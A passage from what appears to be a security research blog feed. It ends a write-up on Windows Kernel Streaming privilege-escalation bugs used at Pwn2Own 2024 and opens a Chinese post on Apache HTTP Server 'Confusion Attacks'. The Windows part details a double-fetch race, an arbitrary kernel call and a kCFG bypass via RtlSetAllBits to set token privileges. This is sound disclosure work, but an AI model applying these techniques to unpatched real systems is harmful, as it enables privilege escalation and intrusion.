property exists in the KS object and is set with <code class="language-plaintext highlighter-rouge">KSPROPERTY_TYPE_UNSERIALIZESET</code>, <code class="language-plaintext highlighter-rouge">UnserializePropertySet</code> will be used to handle the specified property.</p> <p><img src="/assets/img/blog/20240823/24.png" alt="" /></p> <p>Next, in step 7, <code class="language-plaintext highlighter-rouge">KsSynchronousIoControlDevice</code> will be used to perform the IOCTL again. At this point, the new <code class="language-plaintext highlighter-rouge">Irp-&gt;RequestorMode</code> will become <code class="language-plaintext highlighter-rouge">KernelMode(0)</code>, and the subsequent processing will be the same as a typical <code class="language-plaintext highlighter-rouge">IOCTL_KS_PROPERTY</code>. This part will not be elaborated further.</p> <p>As a result, we now have a primitive that allows us to perform arbitrary <code class="language-plaintext highlighter-rouge">IOCTL_KS_PROPERTY</code> operations. Next, we need to look for places where it might be possible to achieve EoP (Elevation of Privilege).</p> <h3 id="the-eop">The EoP</h3> <p>The first thing you will likely notice is the entry point <code class="language-plaintext highlighter-rouge">ksthunk.sys</code>.</p> <p>Let’s take a look at <code class="language-plaintext highlighter-rouge">ksthunk!CKSThunkDevice::DispatchIoctl</code>.</p> <div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="n">__int64</span> <span class="kr">__fastcall</span> <span class="n">CKSThunkDevice</span><span class="o">::</span><span class="n">DispatchIoctl</span><span class="p">(</span><span class="n">CKernelFilterDevice</span> <span class="o">*</span><span class="n">a1</span><span class="p">,</span> <span class="n">IRP</span> <span class="o">*</span><span class="n">irp</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">a3</span><span class="p">,</span> <span class="n">NTSTATUS</span> <span class="o">*</span><span class="n">a4</span><span class="p">)</span> <span class="p">{</span> <span class="p">...</span> <span class="k">if</span> <span class="p">(</span> <span class="n">IoIs32bitProcess</span><span class="p">(</span><span class="n">irp</span><span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="n">irp</span><span class="o">-&gt;</span><span class="n">RequestorMode</span> <span class="p">)</span> <span class="c1">//------[3]</span> <span class="p">{</span> <span class="c1">//Convert 32-bit requests to 64-bit requests</span> <span class="p">}</span> <span class="k">else</span> <span class="k">if</span> <span class="p">(</span> <span class="n">CurrentStackLocation</span><span class="o">-&gt;</span><span class="n">Parameters</span><span class="p">.</span><span class="n">DeviceIoControl</span><span class="p">.</span><span class="n">IoControlCode</span> <span class="o">==</span> <span class="n">IOCTL_KS_PROPERTY</span> <span class="p">)</span> <span class="p">{</span> <span class="k">return</span> <span class="n">CKSThunkDevice</span><span class="o">::</span><span class="n">CheckIrpForStackAdjustmentNative</span><span class="p">((</span><span class="n">__int64</span><span class="p">)</span><span class="n">a1</span><span class="p">,</span> <span class="n">irp</span><span class="p">,</span> <span class="n">v11</span><span class="p">,</span> <span class="n">a4</span><span class="p">)</span> <span class="c1">//-----[4];</span> <span class="p">}</span> <span class="p">}</span> </code></pre></div></div> <p>You can see that <code class="language-plaintext highlighter-rouge">ksthunk</code> will first determine whether the request is from a WoW64 Process. If it is, it will convert the original 32-bit Requests into 64-bit at [3]. If the original request is already 64-bit, it will call <code class="language-plaintext highlighter-rouge">CKSThunkDevice::CheckIrpForStackAdjustmentNative</code> at [4] to pass it down.</p> <div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">__int64</span> <span class="kr">__fastcall</span> <span class="n">CKSThunkDevice</span><span class="o">::</span><span class="n">CheckIrpForStackAdjustmentNative</span><span class="p">(</span><span class="n">__int64</span> <span class="n">a1</span><span class="p">,</span> <span class="k">struct</span> <span class="nc">_IRP</span> <span class="o">*</span><span class="n">irp</span><span class="p">,</span> <span class="n">__int64</span> <span class="n">a3</span><span class="p">,</span> <span class="kt">int</span> <span class="o">*</span><span class="n">a4</span><span class="p">)</span> <span class="p">{</span> <span class="p">...</span> <span class="k">if</span> <span class="p">(</span> <span class="o">*</span><span class="p">(</span><span class="n">_OWORD</span> <span class="o">*</span><span class="p">)</span><span class="o">&amp;</span><span class="n">Type3InputBuffer</span><span class="o">-&gt;</span><span class="n">Set</span> <span class="o">==</span> <span class="o">*</span><span class="p">(</span><span class="n">_OWORD</span> <span class="o">*</span><span class="p">)</span><span class="o">&amp;</span><span class="n">KSPROPSETID_DrmAudioStream</span> <span class="o">&amp;&amp;</span> <span class="o">!</span><span class="n">type3inputbuf</span><span class="p">.</span><span class="n">Id</span> <span class="o">&amp;&amp;</span> <span class="p">(</span><span class="n">type3inputbuf</span><span class="p">.</span><span class="n">Flags</span> <span class="o">&amp;</span> <span class="mi">2</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">0</span> <span class="p">)</span> <span class="c1">//-----[5] </span> <span class="p">{</span> <span class="k">if</span> <span class="p">(</span> <span class="n">irp</span><span class="o">-&gt;</span><span class="n">RequestorMode</span> <span class="p">)</span> <span class="c1">//-------[6]</span> <span class="p">{</span> <span class="n">v14</span> <span class="o">=</span> <span class="mh">0xC0000010</span><span class="p">;</span> <span class="p">}</span> <span class="k">else</span> <span class="p">{</span> <span class="n">UserBuffer</span> <span class="o">=</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">int</span> <span class="o">*</span><span class="p">)</span><span class="n">irp</span><span class="o">-&gt;</span><span class="n">UserBuffer</span><span class="p">;</span> <span class="p">...</span> <span class="n">v14</span> <span class="o">=</span> <span class="p">(</span><span class="o">*</span><span class="p">(</span><span class="n">__int64</span> <span class="p">(</span><span class="kr">__fastcall</span> <span class="o">**</span><span class="p">)(</span><span class="n">_QWORD</span><span class="p">,</span> <span class="n">_QWORD</span><span class="p">,</span> <span class="n">__int64</span> <span class="o">*</span><span class="p">))(</span><span class="n">Type3InputBuffer</span> <span class="o">+</span> <span class="mh">0x38</span><span class="p">))(</span><span class="c1">// call Type3InputBuffer+0x38</span> <span class="o">*</span><span class="n">UserBuffer</span><span class="p">,</span> <span class="mi">0LL</span><span class="p">,</span> <span class="n">v19</span><span class="p">);</span> <span class="c1">//------------[7]</span> <span class="p">}</span> <span class="p">}</span> <span class="p">}</span> </code></pre></div></div> <p>We can notice that if we give the property set as <a href="https://learn.microsoft.com/mt-mt/windows-hardware/drivers/audio/kspropsetid-drmaudiostream"><code class="language-plaintext highlighter-rouge">KSPROPSETID_DrmAudioStream</code></a>, there is additional processing at [5]. At [6], we can see that it first checks whether <code class="language-plaintext highlighter-rouge">Irp-&gt;RequestorMode</code> is <code class="language-plaintext highlighter-rouge">KernelMode(0)</code>. If it is called from user, it will directly return an error.</p> <p>It should be pretty obvious here that if we call IOCTL with <code class="language-plaintext highlighter-rouge">KSPROPERTY_TYPE_UNSERIALIZESET</code> and specify the <code class="language-plaintext highlighter-rouge">KSPROPSETID_DrmAudioStream</code> property, it will be <code class="language-plaintext highlighter-rouge">KernelMode(0)</code> here. Additionally, it will directly use the input provided by the user as a function call at [7]. Even the first parameter is controllable.</p> <p>After writing the PoC, we confirmed our results.</p> <p><img src="/assets/img/blog/20240823/25.png" alt="" /></p> <p>Some people might wonder, under what device or situation would have <code class="language-plaintext highlighter-rouge">KSPROPSETID_DrmAudioStream</code>? Actually, most audio devices will have it, primarily used for setting DRM-related content.</p> <h3 id="exploitation">Exploitation</h3> <p>Once arbitrary calls are achieved, accomplishing EoP is not too difficult. Although protections such as kCFG, kASLR, and SMEP will be encountered, the only protection that needs to be dealt with under Medium IL is kCFG.</p> <ul> <li><strong>kCFG</strong></li> <li>kASLR <ul> <li>NtQuerySystemInformation</li> </ul> </li> <li>SMEP <ul> <li>Reuse Kernel Code</li> </ul> </li> <li>…</li> </ul> <h4 id="bypass-kcfg">Bypass kCFG</h4> <p>Our goal here is straightforward: to create an arbitrary write primitive from a legitimate function, which can then be used to achieve EoP through typical methods like <a href="https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/how-kernel-exploits-abuse-tokens-for-privilege-escalation#id-1.-replacing-tokens-for-privilege-escalation">replacing the current process token with system token</a> or <a href="https://media.blackhat.com/bh-us-12/Briefings/Cerrudo/BH_US_12_Cerrudo_Windows_Kernal_Slides.pdf">abusing the token privilege</a>.</p> <p>It is intuitive to look directly for legitimate functions with names containing <code class="language-plaintext highlighter-rouge">set</code>, as they are more likely to do arbitrary writing. We directly take the export functions from <code class="language-plaintext highlighter-rouge">ntoskrnl.exe</code> to see if there are any good gadgets, as these functions are generally legitimate.</p> <p><img src="/assets/img/blog/20240823/26.png" alt="" /></p> <p>We quickly found <a href="https://learn.microsoft.com/zh-tw/windows-hardware/drivers/ddi/wdm/nf-wdm-rtlsetallbits">RtlSetAllBits</a>.</p> <p><img src="/assets/img/blog/20240823/27.png" alt="" /></p> <p>It is a very useful gadget and a legitimate function in kCFG. Additionally, it only requires controlling the first parameter <code class="language-plaintext highlighter-rouge">_RTL_BITMAP</code>.</p> <div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">struct</span> <span class="nc">_RTL_BITMAP</span> <span class="p">{</span> <span class="n">ULONG</span> <span class="n">SizeOfBitMap</span><span class="p">;</span> <span class="n">ULONG</span><span class="o">*</span> <span class="n">Buffer</span><span class="p">;</span> <span class="p">};</span> </code></pre></div></div> <p>We can assign the buffer to any address and specify the size, allowing us to set up a range of bits entirely. At this point, we are almost done. As long as <code class="language-plaintext highlighter-rouge">Token-&gt;Privilege</code> is fully set up, we can use the <code class="language-plaintext highlighter-rouge">Abuse Privilege</code> method to achieve EoP.</p> <iframe width="560" height="315" src="https://www.youtube.com/embed/j1wzwXLxdVs?si=aKURBnYWXvbAaXin" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen=""></iframe> <p>However, before the Pwn2Own event, we created a new Windows 11 23H2 VM on Hyper-V and ran the exploit. The result was a failure. It failed at the open device stage.</p> <p><img src="/assets/img/blog/20240823/28.png" alt="" /></p> <p>After investigation, we discovered that Hyper-V does not have an audio device by default, causing the exploit to fail.</p> <p><img src="/assets/img/blog/20240823/29.png" alt="" /></p> <p>In Hyper-V, only MSKSSRV is present by default. However, MSKSSRV does not have the <code class="language-plaintext highlighter-rouge">KSPROPSETID_DrmAudioStream</code> property, which prevents us from successfully exploiting this EoP vulnerability. Therefore, we must find other ways to trigger it or discover new vulnerabilities. We decided to review the entire process again to see if there were any other exploitable vulnerabilities.</p> <h3 id="cve-2024-30084">CVE-2024-30084</h3> <p>After re-examining, it was found that <code class="language-plaintext highlighter-rouge">IOCTL_KS_PROPERTY</code> uses <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/using-neither-buffered-nor-direct-i-o">Neither I/O</a> to transmit data, which means it uses the input buffer for data processing directly. Generally speaking, this method is not recommended as it often leads to <strong>double fetch</strong> issues.</p> <p><img src="/assets/img/blog/20240823/30.png" alt="" /></p> <p>From the above figure of <code class="language-plaintext highlighter-rouge">KspPropertyHandler</code>, we can see that after the user calls IOCTL, the <code class="language-plaintext highlighter-rouge">Type3InputBuffer</code> is directly copied into a newly allocated buffer, containing the <a href="https://learn.microsoft.com/zh-tw/windows-hardware/drivers/stream/ksproperty-structure">KSPROPERTY</a> structure. This GUID in the structure is then used to check if the property set exists in the device. If it does, it will proceed to call <code class="language-plaintext highlighter-rouge">UnserializePropertySet</code>.</p> <p>Let’s take another look at <code class="language-plaintext highlighter-rouge">UnserializePropertySet</code>.</p> <p><img src="/assets/img/blog/20240823/31.png" alt="" /></p> <p>It <strong>once again copies the user-provided data from <code class="language-plaintext highlighter-rouge">Type3InputBuffer</code></strong> as the input for the new IOCTL. Clearly, there exists a <strong>double fetch</strong> vulnerability here, so we have modified the entire process, as shown in the following diagram.</p> <p><img src="/assets/img/blog/20240823/32.png" alt="" /></p> <p>When we initially send <code class="language-plaintext highlighter-rouge">IOCTL_KS_PROPERTY</code>, we use the existing property <code class="language-plaintext highlighter-rouge">KSPROPSETID_Service</code> of MSKSSRV for subsequent operations. As shown in step 6 of the diagram, a copy of <code class="language-plaintext highlighter-rouge">KSPROPERTY</code> is first made into the <code class="language-plaintext highlighter-rouge">SystemBuffer</code>, and then this property is used to check whether it is in the support list of the KS object. Since MSKSSRV supports it, it will then call <code class="language-plaintext highlighter-rouge">UnserializePropertySet</code>.</p> <p><img src="/assets/img/blog/20240823/33.png" alt="" /></p> <p>After calling <code class="language-plaintext highlighter-rouge">UnserializePropertySet</code>, due to the double fetch vulnerability, we can change <code class="language-plaintext highlighter-rouge">KSPROPSETID_Service</code> with <code class="language-plaintext highlighter-rouge">KSPROPSETID_DrmAudioStream</code> between the check and use phases. Subsequently, <code class="language-plaintext highlighter-rouge">KSPROPSETID_DrmAudioStream</code> will be used as the request to send IOCTL, thereby triggering the CVE-2024-35250 mentioned above logic flaw. This makes the vulnerability exploitable in any environment.</p> <iframe width="560" height="315" src="https://www.youtube.com/embed/xNUj_XZ9LhQ?si=ONmvl9_8BV-z0idL" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen=""></iframe> <p>Finally, we successfully compromised Microsoft Windows 11 during Pwn2Own Vancouver 2024.</p> <p><img src="/assets/img/blog/20240823/34.png" alt="" /></p> <p>After the Pwn2Own event, our investigation revealed that this vulnerability has existed since Windows 7 for nearly 20 years. Moreover, it is highly reliable and has a 100% success rate in exploitation. We strongly recommend that everyone update to the latest version as soon as possible.</p> <h2 id="to-be-continued">To be continued</h2> <p>This article focuses on how we identified the vulnerabilities used in this year’s Pwn2Own and the attack surface analysis of Kernel Streaming. After discovering this vulnerability, we continued our research on this attack surface and found another exploitable vulnerability along with other interesting findings.</p> <p>Stay tuned for Part II, expected to be published in October of this year.</p> <h2 id="reference">Reference</h2> <ul> <li><a href="https://securityintelligence.com/x-force/critically-close-to-zero-day-exploiting-microsoft-kernel-streaming-service/">Critically Close to Zero-Day: Exploiting Microsoft Kernel Streaming Service</a></li> <li><a href="https://conference.hitb.org/hitbsecconf2023hkt/materials/D2T1%20-%20Windows%20Kernel%20Security%20-%20A%20Deep%20Dive%20into%20Two%20Exploits%20Demonstrated%20at%20Pwn2Own%20-%20Thomas%20Imbert.pdf">Windows Kernel Security - A Deep Dive into Two Exploits Demonstrated at Pwn2Own</a></li> <li><a href="https://big5-sec.github.io/posts/CVE-2023-29360-analysis/">CVE-2023-29360 Analysis</a></li> <li><a href="https://securityintelligence.com/x-force/little-bug-that-could/">Racing Round and Round: The Little Bug That Could</a></li> <li><a href="https://googleprojectzero.blogspot.com/2019/03/windows-kernel-logic-bug-class-access.html">Windows Kernel Logic Bug Class: Access Mode Mismatch in IO Manager</a></li> <li><a href="https://googleprojectzero.blogspot.com/2021/01/hunting-for-bugs-in-windows-mini-filter.html">Hunting for Bugs in Windows Mini-Filter Drivers</a></li> <li><a href="https://msrc.microsoft.com/blog/2019/03/local-privilege-escalation-via-the-windows-i-o-manager-a-variant-finding-collaboration/">Local Privilege Escalation via the Windows I/O Manager: A Variant Finding &amp; Collaboration</a></li> </ul> https://devco.re/blog/2024/08/23/streaming-vulnerabilities-from-windows-kernel-proxying-to-kernel-part1-en/ https://devco.re/blog/2024/08/23/streaming-vulnerabilities-from-windows-kernel-proxying-to-kernel-part1-en Fri, 23 Aug 2024 00:00:00 +0800 Confusion Attacks: Exploiting Hidden Semantic Ambiguity in Apache HTTP Server! <h6 id="orange-tsai-orange_8361--繁體中文版本--english-version">Orange Tsai (<a href="https://x.com/orange_8361">@orange_8361</a>)  |  <a href="/blog/2024/08/09/confusion-attacks-exploiting-hidden-semantic-ambiguity-in-apache-http-server/">繁體中文版本</a>  |  <a href="/blog/2024/08/09/confusion-attacks-exploiting-hidden-semantic-ambiguity-in-apache-http-server-en/">English Version</a></h6> <style> .language-plaintext { background-color: #f9f2f4; } .highlight { border-left: 2px solid #44D62C !important; } </style> <p>嗨,這是我今年發表在 <a href="https://www.blackhat.com/us-24/briefings/schedule/index.html#confusion-attacks-exploiting-hidden-semantic-ambiguity-in-apache-http-server-pre-recorded-40227">Black Hat USA 2024</a> 上針對 Apache HTTP Server 的研究。 此外,這份研究也將在 <a href="https://hitcon.org/2024/CMT/agenda/eff94e55-3f1d-4229-a65a-65ade9524421/">HITCON</a> 和 <a href="https://orangecon.nl/">OrangeCon</a> 上發表,有興趣搶先了解可點此取得投影片:</p> <blockquote> <p><a href="https://i.blackhat.com/BH-US-24/Presentations/US24-Orange-Confusion-Attacks-Exploiting-Hidden-Semantic-Thursday.pdf">Confusion Attacks: Exploiting Hidden Semantic Ambiguity in Apache HTTP Server!</a></p> </blockquote> <p>另外也謝謝來自 Akamai 的友善聯繫! 此份研究發表後第一時間他們也發佈了緩解措施 (詳情可參考 <a href="https://www.akamai.com/blog/security-research/2024-august-apache-waf-proactive-collaboration-orange-tsai-devcore">Akamai 的部落格</a>)。</p> <p><br /></p> <h2 id="tldr">TL;DR</h2> <p>這篇文章探索了 Apache HTTP Server 中存在的架構問題,介紹了數個 Httpd 的架構債,<strong>包含 3 種不同的 Confusion Attacks、9 個新漏洞、20 種攻擊手法以及超過 30 種案例分析</strong>。 包括但不限於:</p> <ol> <li>怎麼使用一個 <code class="language-plaintext highlighter-rouge">?</code> 繞過 Httpd 內建的存取控制以及認證。</li> <li>不安全的 <code class="language-plaintext highlighter-rouge">RewriteRule</code> 怎麼跳脫 Web Root 並存取整個檔案系統。</li> <li>如何利用一段從 1996 遺留至今的程式碼把一個 XSS 轉化成 RCE。</li> </ol> <p><br /></p> <h2 id="大綱">大綱</h2> <ul> <li><a href="#在故事之前">在故事之前</a></li> <li><a href="#故事是如何開始的">故事是如何開始的?</a></li> <li><a href="#為什麼-apache-http-server-聞起來臭臭的">為什麼 Apache HTTP Server 聞起來臭臭的?</a></li> <li><a href="#關於這次的新攻擊面:-confusion-attacks">關於這次的新攻擊面: Confusion Attacks</a> <ul> <li><a href="#-1-filename-confusion">1. Filename Confusion</a> <ul> <li><a href="#%ef%b8%8f-primitive-1-1-truncation">Primitive 1-1. Truncation</a> <ul> <li><a href="#%ef%b8%8f-1-1-1-path-truncation">1-1-1. Path Truncation</a></li> <li><a href="#%ef%b8%8f-1-1-2-mislead-rewriteflag-assignment">1-1-2. Mislead RewriteFlag Assignment</a></li> </ul> </li> <li><a href="#%ef%b8%8f-primitive-1-2-acl-bypass">Primitive 1-2. ACL Bypass</a></li> </ul> </li> <li><a href="#-2-documentroot-confusion">2. DocumentRoot Confusion</a> <ul> <li><a href="#%ef%b8%8f-primitive-2-1-server-side-source-code-disclosure">Primitive 2-1. Server-Side Source Code Disclosure</a> <ul> <li><a href="#%ef%b8%8f-2-1-1-disclose-cgi-source-code">2-1-1. Disclose CGI Source Code</a></li> <li><a href="#%ef%b8%8f-2-1-2-disclose-php-source-code">2-1-2. Disclose PHP Source Code</a></li> </ul> </li> <li><a href="#%ef%b8%8f-primitive-2-2-local-gadgets-manipulation">Primitive 2-2. Local Gadgets Manipulation!</a> <ul> <li><a href="#%ef%b8%8f-2-2-1-local-gadget-to-information-disclosure">2-2-1. Local Gadget to Information Disclosure</a></li> <li><a href="#%ef%b8%8f-2-2-2-local-gadget-to-xss">2-2-2. Local Gadget to XSS</a></li> <li><a href="#%ef%b8%8f-2-2-3-local-gadget-to-lfi">2-2-3. Local Gadget to LFI</a></li> <li><a href="#%ef%b8%8f-2-2-4-local-gadget-to-ssrf">2-2-4. Local Gadget to SSRF</a></li> <li><a href="#%ef%b8%8f-2-2-5-local-gadget-to-rce">2-2-5. Local Gadget to RCE</a></li> </ul> </li> <li><a href="#%ef%b8%8f-primitive-2-3-jailbreak-from-local-gadgets">Primitive 2-3. Jailbreak from Local Gadgets</a> <ul> <li><a href="#%ef%b8%8f-2-3-1-jailbreak-from-local-gadgets">2-3-1. Jailbreak from Local Gadgets</a></li> <li><a href="#%ef%b8%8f-2-3-2-jailbreak-local-gadgets-to-redmine-rce">2-3-2. Jailbreak Local Gadgets to Redmine RCE</a></li> </ul> </li> </ul> </li> <li><a href="#-3-handler-confusion">3. Handler Confusion</a> <ul> <li><a href="#%ef%b8%8f-primitive-3-1-overwrite-the-handler">Primitive 3-1. Overwrite the Handler</a> <ul> <li><a href="#%ef%b8%8f-3-1-1-overwrite-handler-to-disclose-php-source-code">3-1-1. Overwrite Handler to Disclose PHP Source Code</a></li> <li><a href="#%ef%b8%8f-3-1-2-overwrite-handler-to---">3-1-2. Overwrite Handler to ██████ ███████ ██████</a></li> </ul> </li> <li><a href="#%ef%b8%8f-primitive-3-2-invoke-arbitrary-handlers">Primitive 3-2. Invoke Arbitrary Handlers</a> <ul> <li><a href="#%ef%b8%8f-3-2-1-arbitrary-handler-to-information-disclosure">3-2-1. Arbitrary Handler to Information Disclosure</a></li> <li><a href="#%ef%b8%8f-3-2-2-arbitrary-handler-to-misinterpret-scripts">3-2-2. Arbitrary Handler to Misinterpret Scripts</a></li> <li><a href="#%ef%b8%8f-3-2-2-arbitrary-handler-to-full-ssrf">3-2-2. Arbitrary Handler to Full SSRF</a></li> <li><a href="#%ef%b8%8f-3-2-3-arbitrary-handler-to-access-local-unix-domain-socket">3-2-3. Arbitrary Handler to Access Local Unix Domain Socket</a></li> <li><a href="#%ef%b8%8f-3-2-4-arbitrary-handler-to-rce">3-2-4. Arbitrary Handler to RCE</a></li> </ul> </li> </ul> </li> <li><a href="#-4-其它漏洞">4. 其它漏洞</a> <ul> <li><a href="#%ef%b8%8f-cve-2024-38472---基於-windows-unc-的-ssrf">CVE-2024-38472 - 基於 Windows UNC 的 SSRF</a> <ul> <li><a href="#%ef%b8%8f-透過-http-請求解析器觸發">透過 HTTP 請求解析器觸發</a></li> <li><a href="#%ef%b8%8f-透過-type-map-觸發">透過 Type-Map 觸發</a></li> </ul> </li> <li><a href="#%ef%b8%8f-cve-2024-39573---基於-rewriterule-前綴可完全控制的-ssrf">CVE-2024-39573 - 基於 RewriteRule 前綴可完全控制的 SSRF</a></li> </ul> </li> </ul> </li> <li><a href="#未來研究方向">未來研究方向</a></li> <li><a href="#結語">結語</a></li> </ul> <p><br /></p> <h2 id="在故事之前">在故事之前</h2> <p>這裡純粹是一些個人的 Murmur,如果只對技術細節感興趣可以直接跳到 —— <a href="#故事是如何開始的">故事是如何開始的?</a></p> <p>身為一名研究員、最大的快樂應該就是當自己的作品被同行關注並理解。所以當完成一個作品並擁有豐碩的成果後,理所當然會想要讓它被世界看到 —— 這也是為什麼我會多次在 Black Hat USA 以及 DEFCON 上分享的緣故。 在讀這篇文章的你也許知道,我從 2022 後就拿不到一個合法的簽證進入美國 (在<a href="https://esta.cbp.dhs.gov/">免簽計畫</a>中的台灣,通常只需要線上申請,數分鐘到數小時內就能取得旅行授權),導致錯過 <a href="https://www.blackhat.com/us-22/briefings/schedule/index.html#lets-dance-in-the-cache---destabilizing-hash-table-on-microsoft-iis-27199">Black Hat USA 2022</a> 的實體演講。甚至 2023 到秘魯還有復活節島獨旅也無法從美國轉機 :(</p> <p>為了解決這個情況,我從今年一月就開始準備 B1/B2 簽證、撰寫各式文件、到大使館面試以及漫無止盡的等待,這不是一件好玩的事,但為了讓作品被看到,還是花了非常多的時間在為了簽證奔波,以及尋求各種可能,甚至到會議開始的前三個禮拜,還不清楚發表是否會被取消 (BH 一開始只接受現場演講,不過謝謝審稿委員對這份研究的認可最終還是能透過預錄的形式發表),所以你所看到的所有內容包含投影片、錄影以及部落格文字都是在短短數十天內完成的。 😖</p> <p>我只是一個單純的研究員,自認問心無愧,對漏洞的態度也始終是 —— 漏洞就該讓它被廠商知道以及修復。 寫這些文字也不為了什麼,純粹紀錄下一些無奈的心情、今年所做過的努力,以及謝謝在這個過程中幫助過我的人,謝謝你們 :)</p> <p><br /></p> <h2 id="故事是如何開始的">故事是如何開始的?</h2> <p>大概是在今年年初的時候,我開始思考下一個研究的目標,也許你知道我總是希望挑戰那些影響整個網際網路的大目標,所以開始尋找一些看似複雜的主題或有趣的開源專案,例如 Nginx、PHP、甚至開始看起 RFC 來強化自己對於協議實作細節的認知。</p> <p>雖然大部分的嘗試都以失敗告終 (不過有些也許會變成下一篇部落格主題 😉),但在細細品嘗這些程式碼時,我回憶起了曾經在去年年中短暫看過 Apache HTTP Server 原始碼這件事! 儘管最終由於工作的時程規畫並無深入的閱讀程式碼,但在那時就已經從它的編碼風格上「聞」到了一些不太好的味道。</p> <p>於是在今年決定繼續下去,把「為什麼聞起來怪怪的」這件事從原本只是一個說不出的「感覺」具象化,深入下去研究 Apache HTTP Server!</p> <p><br /></p> <h2 id="為什麼-apache-http-server-聞起來臭臭的">為什麼 Apache HTTP Server 聞起來臭臭的?</h2> <p>首先,Apache HTTP Server 是一個由「模組們」建構起來的世界,從它<a href="https://httpd.apache.org/docs/2.4/mpm.html">官方文件</a>中也看到其對於自身模組化 (MPMs - Multi-Processing Modules) 的自豪:</p> <blockquote> <p>Apache httpd has always accommodated a wide variety of environments through its modular design. […] Apache HTTP Server 2.0 extends this modular design to the most basic functions of a web server.</p> </blockquote> <p>整個 Httpd 的服務需要由數百個小模組齊心合力,共同合作才能完成客戶端的 HTTP 請求,<strong><a href="https://httpd.apache.org/docs/2.4/mod/">官方所列出的 136 個模組</a>其中約有快一半是預設啟用或經常被使用的模組</strong>!</p> <p>而更令人驚訝的是,這麼多模組在處理客戶端 HTTP 請求的時候,彼此之間還要共同維護著一份非常巨大的 <code class="language-plaintext highlighter-rouge">request_rec</code> 結構。 這個結構包括了在處理 HTTP 時會用到的一切元素,詳細的定義可以從 <a href="https://github.com/apache/httpd/blob/2.4.58/include/httpd.h#L838">include/httpd.h</a> 中找到。 所有模組都依賴這個巨大的結構去同步、溝通,甚至交換資料。 這個內部結構會像是拋接球般在所有模組間傳遞來傳遞去,每個模組都可以根據自己的喜好去隨意修改這個結構上的任意值!</p> <p><img src="/assets/img/blog/20240809/1.png" alt="" /></p> <p>這樣子的合作方式從軟體工程的角度來說其實不是什麼新鮮事,個體只需專心把份內事完成,只要所有人都乖乖完成自己的工作,那客戶就可以正常享受 Httpd 所提供的服務。 這樣子的分工在數個模組內可能還沒什麼問題,<strong>但如果今天把規模放大到數百個模組間的協同合作 —— 它們真的有辦法好好合作嗎?</strong> 🤔</p> <p>所以我們的出發點很簡單 —— <strong>模組間其實並不完全了解彼此的實作細節,但卻又被要求要一起合作</strong>。 每個模組可能由不同的開發者實作,程式碼歷經多年的疊代、重整以及修改,它們真的還清楚自己在做什麼嗎? 就算對自己瞭若指掌,那對其它模組呢? 在缺乏一個好的開發標準或使用準則下,這中間必然會存在很多小縫隙是我們可以利用的!</p> <p><br /></p> <h2 id="關於這次的新攻擊面-confusion-attacks">關於這次的新攻擊面: Confusion Attacks</h2> <p>基於前面的思考,我們開始專注在<strong>研究這些模組間的「關係」以及「交互作用」</strong>。 如果有一個模組不小心修改到了它覺得不重要但對另一個模組至關重要的結構欄位,那可能就會影響該模組的判斷。 甚至更進一步,如果 Apache HTTP Server 對這些結構的定義不夠精確,導致不同模組對同一個欄位在理解上有著根本的不一致,這都可能產生安全上的風險!</p> <p>從這個出發點我們發展出了三種不同的攻擊,由於這些攻擊或多或少都模組對於結構欄位的誤用有關,因此把這個攻擊面命名為「Confusion Attack」,而以下是我們所發展出的攻擊:</p> <ol> <li><strong>Filename Confusion</strong></li> <li><strong>DocumentRoot Confusion</strong></li> <li><strong>Handler Confusion</strong></li> </ol> <p>從這些攻擊出發我們找到了 9 個不同的漏洞:</p> <ol> <li><strong>CVE-2024-38472</strong> - Apache HTTP Server on Windows UNC SSRF</li> <li><strong>CVE-2024-39573</strong> - Apache HTTP Server proxy encoding problem</li> <li><strong>CVE-2024-38477</strong> - Apache HTTP Server: Crash resulting in Denial of Service in mod_proxy via a malicious request</li> <li><strong>CVE-2024-38476</strong> - Apache HTTP Server may use exploitable/malicious backend application output to run local handlers via internal redirect</li> <li><strong>CVE-2024-38475</strong> - Apache HTTP Server weakness in mod_rewrite when first segment of substitution matches filesystem path</li> <li><strong>CVE-2024-38474</strong> - Apache HTTP Server weakness with encoded question marks in backreferences</li> <li><strong>CVE-2024-38473</strong> - Apache HTTP Server proxy encoding problem</li> <li><strong>CVE-2023-38709</strong> - Apache HTTP Server: HTTP response splitting</li> <li><strong>CVE-2024-??????</strong> - [redacted]</li> </ol> <p>這些漏洞都透過官方的安全信箱回報,並由 Apache HTTP Server 團隊在 2024-07-01 發佈安全性通報以及 2.4.60 更新 (詳細可參考<a href="https://httpd.apache.org/security/vulnerabilities_24.html">官方公告</a>)。</p> <p>由於這是一個針對 Httpd 架構以及其內部機制所帶來的新攻擊面,<del>理所當然第一個參與的人可以找到最多漏洞,因此我也是目前擁有最多 Apache HTTP Server CVE 的人 😉</del>,導致很多更新修復由於其歷史架構無法向下兼容。 所以對於很多運行許久的正式伺服器來說修復並不是一件容易的事,若網站管理員不經思考就直接更新反而會打破許多舊有的設定造成服務中斷。 😨</p> <p>接下來就開始介紹這次發展出來的攻擊們吧!</p> <p><br /></p> <h3 id="-1-filename-confusion">🔥 1. Filename Confusion</h3> <p>首先,第一個是基於 Filename 欄位上的 Confusion,從字面上來看 <code class="language-plaintext highlighter-rouge">r-&gt;filename</code> 應該是一個檔案系統路徑,然而在 Httpd 中,有些模組會把它當成網址來處理。 如果在 HTTP 請求的上下文中,有些模組把 <code class="language-plaintext highlighter-rouge">r-&gt;filename</code> 當成檔案路徑,而其他模組將它當成網址,這其中的不一致就會造成安全上的問題!</p> <p><br /></p> <h4 id="️-primitive-1-1-truncation">⚔️ Primitive 1-1. Truncation</h4> <p>所以哪些模組會把 <code class="language-plaintext highlighter-rouge">r-&gt;filename</code> 當成網址呢? 首先是 <code class="language-plaintext 